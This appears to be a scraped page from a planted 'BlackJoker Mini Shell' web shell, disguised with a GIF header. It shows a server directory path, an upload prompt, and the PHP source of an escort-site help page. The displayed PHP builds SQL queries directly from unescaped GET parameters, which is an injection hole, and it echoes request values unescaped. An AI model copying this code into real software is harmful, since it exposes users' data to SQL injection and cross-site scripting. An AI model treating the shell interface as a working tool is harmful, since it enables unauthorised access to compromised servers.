GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/escort-help.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
<? include "includes/header_top.php";?>


<body>
<? include "includes/header.php";?>
 
<div class="main_bg">

 		<div style="height:32px; width:1000px;">
        	        
        </div>
        <div  style="width:1000px; margin:0 auto;">
        	<div class="statedetails">
                	<div class="stdtls_header">
                    	Escort Help                    	
                    </div>
                    <div class="stdtls_midder">
                    	<div style=" width:990px; margin:0 auto;">
                        	<div style="height:15px;"></div>
                        	<?
							 if($_GET['qid'])
							 {	
							 	$sql_help="SELECT * FROM escort_help where id='".$_GET['qid']."'";
								$res_help=execute_query($sql_help);
								$row_help=mysql_fetch_array($res_help);				
							?>
                                <div class="helpquestion">
                                	<?=$row_help['question']?>
                                
                                </div>
                                <div class=helpansware>
                                	<?=stripslashes($row_help['answare'])?>
                                </div>
                             <? } ?>    
                            <div class="atoz">
                            	<a href="escort-help.php">ALL</a>
                                <?
									$sql_alfa="SELECT * FROM  alfabetic";
									$res_alfa=execute_query($sql_alfa);
									while($row_alfa=mysql_fetch_array($res_alfa))
										{
										?>
                                            <a href="escort-help.php?alfa=<?=$row_alfa['alfa']?>" <? if($_GET['alfa']==$row_alfa['alfa']){ ?> class="active" <? } ?>><?=$row_alfa['alfa']?></a>
                                            
                                            <? } ?>
                                            
                                <br class="spacer" />
                            
                            </div>
                            <div class="helpcategory">
                            	
                            	<?
									if($_GET['alfa'])
									{
										$alfa=$_GET['alfa'];
										
										$sql_title="select * from escort_help where title LIKE '$alfa%' ORDER BY title";
									}
									else
									{
									$sql_title="select * from escort_help ORDER BY title";
									}
									$res_title=execute_query($sql_title);
									while($row_title=mysql_fetch_array($res_title))
									 {?>
                                     <div class="srcestname"><a href="escort-help.php?qid=<?=$row_title['id']?>"><?=$row_title['title']?></a></div>
                                     
                                     <? } ?>
									 <br class="spacer" />
									 
								
								
                            
                            
                            </div>                  
                           
                           
                           	       	
                        </div>
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
              </div>
            
        </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0